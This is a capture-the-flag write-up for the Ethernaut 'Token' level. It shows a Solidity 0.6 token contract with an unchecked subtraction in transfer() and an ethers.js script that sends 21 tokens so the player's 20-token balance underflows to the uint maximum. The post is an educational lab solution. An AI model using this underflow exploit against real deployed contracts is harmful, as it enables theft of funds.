Cracking the Code: Ethernault (Level 5 - Token) CTF Challenge

Cracking the Code: Ethernault (Level 5 - Token) CTF Challenge

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in theEthereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

This challenge tests the player's knowledge about overflow and underflow.

The challenge code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

The goal of this challenge is to increase the player's balance to a large amount. Currently, the player only has 20 tokens.

Upon reading through the contract, we can see that the Solidity version in use is ^0.6.0. This indicates that we can take advantage of the overflow and underflow attack vector within this contract.

The transfer function is where we can exploit this vulnerability

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
 >>>balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

The current balance of the player is 20 tokens. All we need to do is attempt to send any value greater than 20 to another address, and the value will underflow to the type(uint).max, which is 115792089237316195423570985008687907853269984665640564039457584007913129639935. This value represents the player's new token balance.

Solutions

const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/Token.sol/Token.json");

const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);

const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);

(async () => {
// Token contract
  const contract = new ethers.Contract(
    "0x81558b0af3F357488736FE189155Ed433e5337E7",
    abi.abi,
    signer
  );

  // Send 21 tokens to another user
  const ctx = await contract.transfer("0xCF59aC8b973A5B1fF452f2d1654899F97edecdFF", 21);

  // Result will overflow and give the user - 115792089237316195423570985008687907853269984665640564039457584007913129639935
  await ctx.wait();
})();

The solution script

Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with the token contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.

The next step is to transfer 21 token to the another address, this will cause the balance to underflow, thereby giving the user a large amount of token.

Conclusion

Thank you for reading; I hope you have gained valuable insights from this explanation.